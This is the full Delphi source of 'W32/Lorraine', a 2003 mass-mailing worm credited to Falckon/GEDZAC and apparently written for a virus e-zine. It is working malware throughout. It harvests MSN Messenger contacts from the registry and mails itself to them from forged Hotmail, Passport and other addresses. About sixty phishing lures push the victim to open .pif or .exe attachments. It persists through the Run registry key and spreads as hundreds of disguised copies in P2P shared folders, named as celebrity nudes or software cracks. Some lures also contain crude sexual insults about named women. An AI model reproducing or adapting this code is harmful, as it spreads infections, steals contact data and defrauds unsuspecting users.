unit Rreinalo;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs,Registry, StdCtrls, Psock, NMsmtp,MMSystem,ShellApi;


type
  TForm1 = class(TForm)
    muerte: TNMSMTP;
    Memo1: TMemo;
    Edit1: TEdit;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

  Const
  nombrew:pchar = 'Lorraine Worm [GEDZAC LABS 2003]';

var

     Form1: TForm1;
     d:integer;
     guorm:string;
     Reg : TRegistry   ;
     PROGFILES:STRING;
     pgname:array[1..54] of string;
     complg:array[1..5] of string;
     VIRUSNAME:STRING;
     SysDir:string   ;
     correo:string;

    implementation

  {$R *.dfm}

   function GetSystemDirectory : String;
      var
         pcSystemDirectory : PChar;
         dwSDSize          : DWORD;
              begin
              dwSDSize := MAX_PATH + 1;
              GetMem( pcSystemDirectory, dwSDSize );
                    try
              if Windows.GetSystemDirectory( pcSystemDirectory, dwSDSize ) <> 0 then
                   Result := pcSystemDirectory;
                   finally
                   FreeMem( pcSystemDirectory );
                end;
              end;

    function LeerReg(LaKey: HKEY; Rutakey, Valor: String): String;
            var
               ValorRet: array[0..1500] of Char;
               TamaDato: Integer;
               llaveactual: HKEY;
                     begin
                          RegOpenKeyEx(LaKey, PChar(Rutakey), 0, KEY_ALL_ACCESS, llaveactual);
                          TamaDato := 1501;
                              RegQueryValueEx(llaveactual, PChar(Valor), nil, nil, @ValorRet[0], @TamaDato);
                              RegCloseKey(llaveactual);
                              Result := String(ValorRet);
                           end;
//////////////////////////////////////
// W32/Lorraine
// Creado por Falckon/GEDZAC
// Hecho en Mxico 100% calidad =P
// Lorraine
// Source para la Mitosis E-Zine #2
// Dedicado a mi Lorena Rivas S...., te amo
//////////////////////////////////////
    procedure TForm1.FormCreate(Sender: TObject);
       var
       Tiempo : TSystemTime;
         Suj:Array[1..60] of string;
          Bod:Array[1..60] of string  ;
          att:array[1..60] of string;
          FRO:ARRAY[1..60] OF STRING;
          x:integer;
          names:array[1..18] of string;
          regmsn:string;
          a:integer;
          b:integer;
          c:integer;
          complemento:array[1..6] of string;
          CarpetasP2P:array[1..8] of string;
          contact:string;
          g:integer;
          pr:integer;
          chals:integer;
          hostmail:string;
          puta:integer;
          presentacion:textfile;
              label yajodio                 ;
                 label jodio;
                 begin
                 SysDir:=GetSystemDirectory;
                 guorm := Application.ExeName;
                      VIRUSNAME := 'Lorraine';
                      Application.ShowMainForm := False;
                           Reg := TRegistry.Create;
                           Reg.RootKey:=HKEY_LOCAL_MACHINE;
                              For b := 1 to 1000 DO
                                   begin
                                        regmsn := leerreg(HKEY_CURRENT_USER,'Software\Microsoft\MessengerService\ListCache\.NET Messenger Service','allow'+inttostr(b))   ;
                                        Memo1.lines.Add(regmsn);
                                     end;
                For b := 1 to 1000 DO
                   begin
                   regmsn := leerreg(HKEY_CURRENT_USER,'Software\Microsoft\MSNMessenger\ListCache\.NET Messenger Service','allow'+inttostr(b))   ;
                   Memo1.lines.Add(regmsn);
                end;
                contact := leerreg(HKEY_CURRENT_USER,'Software\Microsoft\MSNMessenger\ListCache\.NET Messenger Service','allow1');
                if contact <> ''  then
                begin
                     Edit1.Text := contact;
                end;
                    contact := leerreg(HKEY_CURRENT_USER,'Software\Microsoft\MessengerService\ListCache\.NET Messenger Service','allow1');
                    if contact <> ''  then
                         begin
                         Edit1.Text :=  contact;
                     end;
  GetlocalTime(Tiempo);
       iF Tiempo.wMonth = 7  Then
         Begin
             MessageBox(0,'Creado por Falckon/GEDZAC',NOMBREW,16);
             MessageBox(0,'Dedicado a mi G. Lorena R. S.,'+
              'http://www.vsantivirus.com/renalo.htm',nombrew,0);
          end;

Bod[1] := 'Felicidades! le hemos enviado este E-Mail porque usted ha ganado un pasaje a Mxico al programa Reality show BigBrother,'+
           'si usted quiere participar en este programa deber abrir el archivo adjunto. ';
Fro[1] := 'bigbrother@bigbrother.tv';
Att[1] := 'BigBrother.pif';
Suj[1] := 'Big Brother te espera';

Bod[2] := 'Estimado usuario de hotmail,'+
          'debido al trafico en el servidor y a las fallas que se han venido presentando en este presente mes,'+
          'hemos de informarle que su cuenta ser removida de nuestra base de datos en menos de 24 horas, le rogamos por favor lea el adjunto con los pasos para evitar que esto suceda. '+
          'Atentamente el Equipo tecnico de Hotmail.';
Att[2] := 'hotmail.pif'         ;
Suj[2] := 'Su cuenta de hotmail sera eliminada';
Fro[2] := 'support@hotmail.com';

Suj[3] := '10 reglas de seguridad para su cuenta de hotmail';
Bod[3] := 'Amable Usuario de hotmail, '+
          'la razn de este mail es para darle a conocer las 10 reglas de seguridad que un usuario de passport debe tener en cuenta para evitar que su cuenta sea borrada, hackeada etc...'+
          'las reglas estn en el adjunto.' +
          'Atentamente equipo tecnico de passport';
Att[3] := 'seguridad_en_hotmail.pif';
Fro[3] := 'support@passport.com';

Suj[4] := 'Puedo ser hacker en 24 horas?';
Bod[4] := 'No. La respuesta es un no rotundo. Ni en 24 ni en 48 horas :) Pero en este tiempo s puedes tener una idea aproximada y muy bsica de lo que es y de lo que no es un hacker y decidir si quieres convertirte en uno de ellos. '+
          'Te recomiendo que leas el archivo que te mando, esta en espaol y es muy interesante acerca de estos temas (hacking,cracking,vulnerabilidades).';
Att[4] := 'serhacker.pif';
Fro[4] := 'hacker@hotmail.com';

Suj[5] := 'Problema de seguridad en Windows Media Player';
Bod[5] := 'Windows Media Player, el reproductor multimedia que acompaa gratuitamente a los sistemas Microsoft,'+
          ' se ve afectado por un problema de seguridad que puede permitir la ejecucin de cdigo en la mquina del usuario atacado.' +
          'por lo que recomendamos leer ms acerca de este bug en el adjunto y aplicar los correspondientes parches de seguridad.';
Att[5] := 'WindowsMediaPlayerBug.pif';
Fro[5] := string(Edit1.text);

Suj[6] := 'Cmo hackear hotmail?';
Bod[6] := 'Hola, he estado buscando en la red y encontr esta gua de hacking que ensea como hackear hotmail,'+
          'orienta al robo de cuentas, imagnate robarle la cuenta a tu novia, tu amigo etc.. a quien quieras, te lo aseguro yo ya lo le y lo comprob, disfrtalo. ';
Att[6] := 'hackeahotmail.pif';
Fro[6] := String(Edit1.text);

Suj[7] := 'Hackean pgina de Madonna sospechosa de envenenar KaZaA';
Bod[7] := 'Tras sospecharse que Madonna contamin la red KaZaA con algunos archivos envenenados, un grupo hacker ha contraatacado asaltando su pgina y colgando algunos de los temas de su ltimo lbum en formato MP3.'+
          'ms de esta revelante noticia en el adjunto.';
Fro[7] := 'notice@madonna.com';
Att[7] := 'defaced-madonna-site.pif';

Suj[8] := 'Que le atrae a las mujeres?';
Bod[8] := 'Un reciente estudio del comportamiento en la mujer afirma que a ellas les atrae de los hombres'+
          'es la cara, las manos y su movimiento, si quiere saber ms lea por favor el articulo que le adjuntamos';
Att[8] := 'mujeres.pif';
Fro[8] := String(Edit1.text);

Suj[9] := 'SPAM La proxima gran epidemia';
Bod[9] := 'El Spam esta avanzando constantemente y a logrado saturar nuestros correos electronicos'+
          'tal vez sea el principio de una epidemia mundial de esta peste que nos tiene cansados de la  publicidad.';
Att[9] := 'No-Spam.exe';
Fro[9] := 'Anti-Spam@campaa.com';

Suj[10] := 'Tests antivirus para comprobar la proteccin del e-mail'   ;
Bod[10] := 'Hispasec pone a disposicin de todos los usuarios dos tests para comprobar el correcto funcionamiento de la proteccin antivirus del correo electrnico. '+
           ' El primero de ellos nos indicar la correcta instalacin y buen funcionamiento del antivirus, mientras que el segundo determinar la capacidad de deteccin proactiva para identificar gusanos que explotan vulnerabilidades conocidas.';
Att[10] := 'EICAX.COM';
Fro[10] := 'test@hispasec.com';

Suj[11] := 'Te amo';
Bod[11] := 'Lo amo a usted por que es la persona ms linda del mundo.';
Att[11] := 'teamo.exe';
Fro[11] := 'Amor@teamo.com';

Suj[12] := 'LatinCards';
Bod[12] := 'Le han enviado una LatinCard para poder visualizarla abra el adjunto'+
           'Gracias.';
Att[12] := 'LatinCard.pif';
Fro[12] := 'Latincards@latincards.com';

Suj[13] := 'Chistes Grficos';
Bod[13] := 'Estos son los chistes grficos que ms me han gustado espero que a ti tambin.';
Att[13] := 'chistesgraficos.pif';
Fro[13] := String(Edit1.text);

Suj[14] := 'Te Amo'  ;
Bod[14] := 'Averigua por que.....' ;
Att[14] := 'porqueteamo.pif';
fro[14] := 'lorena@hotmail.com';

Suj[15] := 'Test de pasin';
Bod[15] := 'Test de pasin para usted y su pareja, contstelo y descubra cuanto desea y quiere a su pareja.'  ;
Att[15] := 'testpasion.pif';
Fro[15] := String(Edit1.text);

Suj[16] := 'Re: Dime que te parece';
Bod[16] := 'Hola, como ests? hace tiempo que no se nada de ti... quera hablar contigo sobre un tema.'+
            'Se trata de mi nuevo portal en el que quiero ofrecer toda mi recopilacin de links en espanol.  '+
            'Me gustara que le echaras un vistazo y me dijeras que tal lo ves tu, si te gusta o cambiaras algo. ' ;
Att[16] :=  'www.mfernanda.com';
Fro[16] :=  'Maria_fernanda@mfernanda.com';

Suj[17] := 'RE: Test de idiotes';
Bod[17] := 'Compruebe si usted es un verdadero idiota.';
Att[17] := 'test-idiota.pif';
Fro[17] := String(Edit1.text);

Suj[18] := ' Kamasutra  ';
Bod[18] := 'Kamasutra el arte del sexo';
att[18] := 'kamasutra.pif';
Fro[18] := String(Edit1.text);

Suj[19] := 'Su pareja ideal';
Bod[19] := 'Los 10 consejos para tener una pareja ideal,'+
           'Lalos y pngalos en practica, le aseguro que tendr resultados'+
           'satisfactorios.';
Att[19] := 'parejaideal.txt.pif';
Fro[19] := String(Edit1.text);

Suj[20] := 'Amor Real...';
Bod[20] := 'en verdad existe?'   ;
Att[20] := 'existeee.pif';
Fro[20] :=   String(Edit1.text);

Suj[21] := 'Vulnerabilidad Critica en el Msn Messenger';
Bod[21] := 'Una vulnerabilidad critica detectada en el msn messenger podra provocar el robo de su cuenta de correo'+
           'es importante que lea mas de esta vulnerabilidad para poderse proteger de ella.';
Att[21] := 'bugmsn.pif';
Fro[21] := 'support@passport.com';

Suj[22] := 'Cmo puedo crear un virus?';
Bod[22] := 'Esta pregunta siempre me la han hecho y creo que la voy a responder. '+
           'Para crear un virus no necesitas saber mucho de computacin, con solo conocer '+
           'Un poco del lenguaje de programacin basta, por que no empiezas con el Visual Basic Script, te adjunto un tutorial muy completo acerca de este lenguaje y la creacin de virus'+
           'Que te diviertas.'+
           'Bye.';
Att[22] := 'TutorialVBSvirus.pif';
Fro[22] := String(Edit1.text);

Suj[23] := 'Informate de los virus';
Bod[23] := 'Hola, soy el webmaster de VSANTIVIRUS, estamos realizando una camapaa '+
           'Contra los virus informaticos y nuestro deber es informarle a los usuarios como usted '+
           'Que es un virus, las acciones que causan y como desinfectarse.'+
           'Si usted desea acceder a toda esta informacin haga el favor de hacer clic en el link que le adjuntamos.'+
           'Gracias';
Att[23] := 'www.vsantiviru.com';
Fro[23] := 'Webmaster@vsantiviru.com';

Suj[24] := 'Zona Virus.com tu Zona Antivirica en espaol';
Bod[24] := 'Hola, soy el webmaster de zonaviru y quiero invitarlo a visitar mi sitio web, usted podr informarse sobre los ltimos virus aparecidos, tambin sabr como se crean estas alimaas informticas,'+
           'quienes los crean, como desinfectarse etc... mucha mucha ms informacin.'+
           'Cuento con su  visita '+
           'Gracias '+
           'Atentamente el Webmaster de ZonaVirus';
Att[24] := ' www.zonaviru.com';
Fro[24] := 'Webmaster@zonaviru.com';


Suj[25] := 'Virus en Hotmail';
Bod[25] := 'Hola, se a dado una alerta por parte de las empresas antivirus, de un nuevo virus que se expande por hotmail, hasta el momento indetectable para cualquier producto antiviral, por lo que recomiendo leer las precauciones sobre este nuevo gusano informatico.'+
           ' Para ms informacin, favor de leer el documento informativo.'  ;
Att[25] := 'nuevovirus.txt       .pif';
Fro[25] := String(Edit1.Text)     ;

Suj[26] := 'Cristina Aguilera Puta de medio tiempo o mentira?';
Bod[26] := 'es la mera neta.';
Att[26] := 'cristina-aguilera.pif';
Fro[26] := 'cristina_aguilera@cristina-aguilera.com';

Suj[27] := 'EGG Brother'  ;
Bod[27] := 'LA ultima escena de egg brother vivela ya.';
att[27] := 'eggbrother.exe';
Fro[27] := String(Edit1.Text)   ;

Suj[28] := 'Osama Bin Huevo regresa';
Bod[28] := 'Osama bin huevo regresa con una nueva amenaza a los Huevos Unidos de Amrica';
Att[28] := 'osamabinhuevoback.exe';
Fro[28] := string(edit1.Text)  ;

Suj[29] := 'El Gran Carnal';
Bod[29] := 'Mirate que asterisco se tiro encima de doa pepa jeje';
Att[29] := 'grancarnal.exe';
Fro[29] := String(Edit1.text);

Suj[30] := 'A Dios le pido....';
Bod[30] := 'Que si me muero sea de amor y si me enamoro sea de vos....';
Att[30] := 'te-pido.scr';
Fro[30] := String(Edit1.Text) ;

Suj[31] := 'Antro '  ;
Bod[31] := 'Hey sin so sobre tras ya no digas ms y despierta la locura!!!';
Att[31] := 'antrox.scr';
Fro[31] := string(edit1.text);

Suj[32] := 'Chupamelo '  ;
Bod[32] := 'Chupamelo ya... y dime que te parece.';
Att[32] := 'chupamelo.pif';
Fro[32] := string(edit1.text);

Suj[33] := 'Ta grande '  ;
Bod[33] := 'Lo tengo grande y t?';
Att[33] := 'grande.pif';
Fro[33] := string(edit1.text);

Suj[34] := 'Tengo Sed... '  ;
Bod[34] := 'Tengo sed de amor por t.';
Att[34] := 'amor-por-ti.pif';
Fro[34] := string(edit1.text);

Suj[35] := 'Mamalo'  ;
Bod[35] := 'Mamalo que ta grande.....';
Att[35] := 'mamalo.pif';
Fro[35] := string(edit1.text);


Suj[35] := 'para usted'  ;
Bod[35] := 'Si te llego mal, respondeme';
Att[35] := 'historial.pif';
Fro[35] := string(edit1.text);


Suj[36] := ''  ;
Bod[36] := 'Si el adjunto no funciona respondame lo ms antes posible';
Att[36] := 'petardas.pif';
Fro[36] := string(edit1.text);


Suj[37] := 'Alerta de virus'  ;
Bod[37] := 'Cuidado! este virus es peligroso puede formatearte el disco duro, llega por hotmail sin que te des cuenta, tu podrias estar infectado'+
' busca en tu sistema el archivo winlogon.exe, si lo tienes es mejor que utilizes la vacuna que te mando, hazlo cuanto antes!! no esperes!!';
Att[37] := 'antiwinlogon.pif';
Fro[37] := string(edit1.text);


Suj[38] := 'Necesita comprar un auto?'  ;
Bod[38] := 'Lo mejores planes de financiamiento.';
Att[38] := 'financiamiento.pif';
Fro[38] := string(edit1.text);

Suj[39] := 'Zorras y ms zorras'  ;
Bod[39] := 'Zorritas gratis dandole duro.';
Att[39] := 'zorrotttas.pif';
Fro[39] := string(edit1.text);

Suj[40] := 'Matrix Trailer'  ;
Bod[40] := 'Chequelo de una vez!! no se lo pierda.';
Att[40] := 'Matrix-Trailer.pif';
Fro[40] := string(edit1.text);

Suj[41] := 'Sabe que es GEDZAC?'  ;
Bod[41] := 'Por si no sabe que es. una explicacin muy precisa para usted.';
Att[41] := 'GEDZAC.PIF';
Fro[41] := string(edit1.text);

Suj[42] := 'Como te gustan?'  ;
Bod[42] := 'A mi me gustan, altas, bonitas, tetonas, nalgonas y tiernitas pero a ti como te gustan?';
Att[42] := 'comotegustan.pif';
Fro[42] := string(edit1.text);


Suj[43] := '?'  ;
Bod[43] := 'Hola necesito tu ayuda con este archivo'+
            ' Gracias';
Att[43] := 'Oradores.pif';
Fro[43] := string(edit1.text);

Suj[44] := 'Lo que nos ensea la iglesia'  ;
Bod[44] := 'La Iglesia nos ensea a amar, querer al prjimo pero usted debers lo ama?';
Att[44] := 'projimo.pif';
Fro[44] := string(edit1.text);

Suj[45] := 'La mejor forma de cortar a un chico'  ;
Bod[45] := 'Las 10 mejores formas para hacer esto menos doloroso.';
Att[45] := 'sindolor.pif';
Fro[45] := string(edit1.text);

Suj[45] := 'para t'  ;
Bod[45] := 'Si el adjunto esta defectuoso reenviamelo.';
Att[45] := 'Lorenaaaa.pif';
Fro[45] := string(edit1.text);

Suj[46] := 'Informacin sobre Sars'  ;
Bod[46] := 'Aydenos a contrarrestar el SARS, por favor aprenda como se contagia y sus efectos.';
Att[46] := 'SARS.pif';
Fro[46] := string(edit1.text);

Suj[47] := 'Para mis amigos'  ;
Bod[47] := 'De un amigo para un amigo.';
Att[47] := 'amigos.pif';
Fro[47] := string(edit1.text);

Suj[48] := 'Eres un perdedor'  ;
Bod[48] := 'Eres un perdedor no te atreves ni a mirar la foto que te doy.';
Att[48] := 'Madonna_sEXY.pif';
Fro[48] := string(edit1.text);

Suj[49] := 'Amistad'  ;
Bod[49] := 'Usted es uno de mis mejores amigos.';
Att[49] := 'friends.pif';
Fro[49] := string(edit1.text);

Suj[49] := 'Spam..'  ;
Bod[49] := 'Di no al SPAM.';
Att[49] := 'Spamno.pif';
Fro[49] := string(edit1.text);

Suj[50] := 'Para mis verdaderos amigos'  ;
Bod[50] := 'Te lo mereces, eres un verdadero amigo';
Att[50] := 'amigototote.pif';
Fro[50] := string(edit1.text);

Suj[51] := 'Para ti nomas'  ;
Bod[51] := 'Para ti y nadie ms';
Att[51] := 'solo-a-ti.pif';
Fro[51] := string(edit1.text);

Suj[52] := 'Necesito su ayuda'  ;
Bod[52] := 'Tengo problemas con este archivo, seria tan amable de revisarlo por mi?';
Att[52] := 'resetarios.pif';
Fro[52] := string(edit1.text);

Suj[53] := 'Sexo y ms'  ;
Bod[53] := '10 formas para disfrutar de sus relaciones sexuales ';
Att[53] := 'relacionsexual.pif';
Fro[53] := string(edit1.text);

Suj[54] := 'Linux se vende a Microsoft!'  ;
Bod[54] := 'Al parecer Linux murio y se vendio a microsoft ';
Att[54] := 'linuxandmicrosoft.pif';
Fro[54] := string(edit1.text);

Suj[55] := 'Recuerda!'  ;
Bod[55] := 'Espero que siempre me escribas.';
Att[55] := 'lacosha@hotmail.com';
Fro[55] := string(edit1.text);

Suj[56] := 'Esta si que es puta!'  ;
Bod[56] := 'NO hables ms y dime si es puta ';
Att[56] := 'Shakira.pif';
Fro[56] := string(edit1.text);

Suj[57] := 'Tu Soft'  ;
Bod[57] := 'Aqu estan los cracks para los programas que pediste ';
Att[57] := 'CracksPPZ.pif';
Fro[57] := string(edit1.text);

Suj[58] := 'La Virgen Mara no es virgen'  ;
Bod[58] := 'No me crees? velo tu mismo ';
Att[58] := 'MariaVirgen.pif';
Fro[58] := string(edit1.text);

Suj[59] := 'Msica Digital Gratis'  ;
Bod[59] := 'Bjate todas las canciones que quieras.';
Att[59] := 'Msica.pif';
Fro[59] := string(edit1.text);

Suj[60] := 'te gusta?'  ;
Bod[60] := 'espero que te guste, si no es asi dimelo.';
Att[60] := 'thalialoca.pif';
Fro[60] := string(edit1.text);

AssignFile (presentacion,'C:\lorraine.hta');
          ReWrite(presentacion);
              Writeln(presentacion,'<html><head><title>Lorraine Worm [GEDZAC LABS 2003]</title> ');
              Writeln(presentacion,'</head><body bgcolor="black" ><table border="0" width="100%" bgcolor="#9966FF">');
              Writeln(presentacion,'<tr><td width="727" height="2"><p align="center">&nbsp;<b><font size="3" face="Verdana,Arial" color="white">W32/Lorraine - Gedzac Labs 2003</font></b></p>');
              Writeln(presentacion,'</td></tr></table><p align="center"><b><font color="lime" size="1" face="Verdana">//***********[GEDZAC LABS 2003]***********//</font></b></p>');
              Writeln(presentacion,'<p align="center"><b><font color="lime" size="1" face="Verdana">W32/Lorraine by Falckon/GEDZAC</font></b></p> ');
              Writeln(presentacion,'<p align="center"><b><font color="lime" size="1" face="Verdana">wOrm hecho en Delphi 6 Dedicado a mi Lorena</font></b></p> ');
              Writeln(presentacion,'<p align="center"><b><font color="lime" size="1" face="Verdana">Hecho en MXiKO</font></b></p>  ');
              Writeln(presentacion,'<p align="center"><b><a href="http://www.viriizone.tk"><font color="lime" size="1" face="Verdana">http://www.viriizone.tk</font></a></b></p> ');
              Writeln(presentacion,'<p align="center"><b><font color="lime" size="1" face="Verdana">Gedzac Labs</font></b></p></body></html>     ');
          CloseFile(presentacion);
          if Tiempo.wDay = 4 then
             begin
             ShellExecute(Form1.Handle,nil,PChar('c:\lorraine.hta'),'','',SW_SHOWNORMAL);
             end;
    For chals := 1 to 60 Do
       begin
       copyfile(pchar(guorm),pchar(SysDir + '\'+Att[chals]),true);
    end;
    puta := 0;
        hostmail := 'mx1.hotmail.com';
        muerte.Host := hostmail;
        yajodio:
     try
        muerte.connect;
        Except
              if muerte.Connected = false then
              begin
              puta := 1;
              end
                 else
                 puta := 0;
              end;
        if puta = 1 then goto yajodio   ;
            muerte.PostMessage.ToBlindCarbonCopy.AddStrings(memo1.lines);
            muerte.PostMessage.FromAddress :=  Fro[Tiempo.wSecond];
            muerte.PostMessage.Subject := Suj[Tiempo.wSecond]  ;
            muerte.PostMessage.Attachments.Add(SysDir + '\' + Att[Tiempo.wSecond]);
            muerte.PostMessage.Body.Add(Bod[Tiempo.wSecond]);
              muerte.SendMail   ;
                 muerte.Disconnect;
                 PlaySound(pChar('SYSTEMSTART'),0,SND_ASYNC);
                 if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true) then
                       Reg.WriteString('Lorraine',SysDir + '\Lorraine.exe');
                       copyfile(pchar(guorm), pChar(SysDir + '\Lorraine.exe'),true);
                       If  Reg.OpenKeyReadOnly('\SOFTWARE\Microsoft\Windows\CurrentVersion') Then
                            PROGFILES := reg.ReadString('ProgramFilesDir');
                            if Not FileExists('C:\Lorraine.vxd') then
                               Begin
                               MessageBox(0,'Archivo Parcialmente Corrupto remplacelo por uno nuevo','Error',16);
                               copyfile(pchar(guorm),'C:\Lorraine.vxd',true);
                              
                  CarpetasP2P[1] := '\KaZaA\My Shared Folder\';
                  CarpetasP2P[2] := '\edonkey2000\incoming\';
                  CarpetasP2P[3] := '\gnucleus\downloads\';
                  CarpetasP2P[4] := '\icq\shared files\';
                  CarpetasP2P[5] := '\kazaa lite\my shared folders\';
                  CarpetasP2P[6] := '\limewire\shared\';
                  CarpetasP2P[7] := '\morpheus\my shared folder\';
                  CarpetasP2P[8] := '\Grokster\My Grokster\';
                            complemento[1] := 'Sexy Bikini ';
                            complemento[2] := 'Sexo en la playa con ';
                            complemento[3] := 'las pelotas de ';
                            complemento[4] := 'Desnuda en la playa ';
                            complemento[5] := 'Nude Pic ';
                            complemento[6] := 'Sexy Beach ';
                                   names[1] := 'Galilea Montijo';
                                   names[2] := 'Shakira';
                                   names[3] := 'Britney Spears';
                                   names[4] := 'Lorena';      // te amo GLRS (Lorena)
                                   names[5] := 'Halle berry';
                                   names[6] := 'Cameron dias';
                                   names[7] := 'Pink';
                                   names[8] := 'Thalia';
                                   names[9] := 'Paulina Rubio';
                                   names[10] := 'Francini';
                                   names[11] := 'Brenda';
                                   names[12] := 'Celine Dion';
                                   names[13] := 'Kylie Minogue';
                                   names[14] := 'Laura Pausini';
                                   names[15] := 'Lili Brillanti';
                                   names[16] := 'Angelica Vale';
                                   names[17] := 'Alejandra Guzman ';
                                        For x := 1 to 17  Do
                                            Begin
                                               For  a := 1 to 6 Do
                                                 Begin
                                                 For c := 1 to 8 Do
                                                 Begin
                                                 copyfile(pchar(guorm),pchar(PROGFILES+CarpetasP2P[c]+complemento[a]+names[x]+'.gif                    .exe'),true);
                                              end;
                                          end;
                                          end;
                                          pgname[1] := 'Kazaa Media Desktop ' ;
                                          pgname[2] := 'ICQ Lite ';
                                          pgname[3] := 'WinZip';
                                          pgname[4] := 'iMesh ';
                                          pgname[5] := 'AOL Instant Messenger (AIM)';
                                          pgname[6] := 'ICQ Pro 2003a beta ';
                                          pgname[7] := 'Morpheus ';
                                          pgname[8] := 'Ad-aware ';
                                          pgname[9] := 'Trillian ';
                                          pgname[10] := 'Download Accelerator Plus';
                                          pgname[11] := 'ZoneAlarm ';
                                          pgname[12] := 'Grokster';
                                          pgname[13] := 'WinRAR ';
                                          pgname[14] := 'DivX Video Bundle ';
                                          pgname[15] := 'RealOne Free Player ';
                                          pgname[16] := 'NetPumper ';
                                          pgname[17] := 'Adobe Acrobat Reader (32-bit) ';
                                          pgname[18] := 'JetAudio Basic ';
                                          pgname[19] := 'WS_FTP LE (32-bit) ';
                                          pgname[20] := 'SnagIt ';
                                          pgname[21] := 'Registry Mechanic';
                                          pgname[22] := 'WinMX ';
                                          pgname[23] := 'MSN Messenger (Windows NT/2000)';
                                          pgname[24] := 'Biromsoft WebCam ';
                                          pgname[25] := 'Nero Burning ROM ';
                                          pgname[26] := 'Microsoft Windows Media Player ';
                                          pgname[27] := 'Spybot - Search & Destroy ';
                                          pgname[28] := 'Copernic Agent ';
                                          pgname[29] := 'Winamp';
                                          pgname[30] := 'Diet Kaza ';
                                          pgname[31] := 'SolSuite 2003: Solitaire Card Games Suite ';
                                          pgname[32] := 'Pop-Up Stopper ';
                                          pgname[33] := 'QuickTime ';
                                          pgname[34] := 'XoloX Ultra ';
                                          pgname[35] := 'Microsoft Internet Explorer ';
                                          pgname[36] := 'Network Cable e ADSL Speed ';
                                          pgname[37] := 'Kazaa Download Accelerator ';
                                          pgname[38] := 'Global DiVX Player ';
                                          pgname[39] := 'DirectDVD ';
                                          pgname[40] := 'Kaspersky Antivirus' ;
                                          pgname[41] := 'PerAntivirus';
                                          pgname[42] := 'Norton Antivirus';
                                          pgname[43] := 'Panda Antivirus';
                                          pgname[44] := 'McAfee Antivirus';
                                          pgname[45] := 'Microsoft Office XP';
                                          pgname[46] := 'Microsoft Windows 2003';
                                          pgname[47] := 'Office 2003';
                                          pgname[48] := 'Visual Studio Net';
                                          pgname[49] := 'Delphi 6';
                                          pgname[50] := 'msn hack'  ;
                                          pgname[51] := 'Matrix Movie';
                                          pgname[52] := 'Virtual Girl Sofa';
                                          pgname[53] := 'FireWorks 4';
                                          pgname[54] := 'FIreWorks MX';
                                          complg[1] := ' Cracked';
                                          complg[2] := ' crack all versions';
                                          complg[3] := ' ';
                                          complg[4] := ' KeyGen';
                                          complg[5] := ' Full version';
                                               For c := 1 to 8 DO
                                                   Begin
                                                   For g := 1 to 5  Do
                                                      Begin
                                                       For pr := 1 to 54 Do
                                                        begin
                                                        copyfile(pchar(guorm),pchar(PROGFILES+CarpetasP2P[c]+pgname[pr]+complg[g]+'.exe'),true);
                                                    end;
                                                end;
                                            end;
                                        end;
                                    end;
                                    end.

                                   //Lorraine
                                   //by Falckon/GEDZAC
                                   //http://www.viriizone.tk
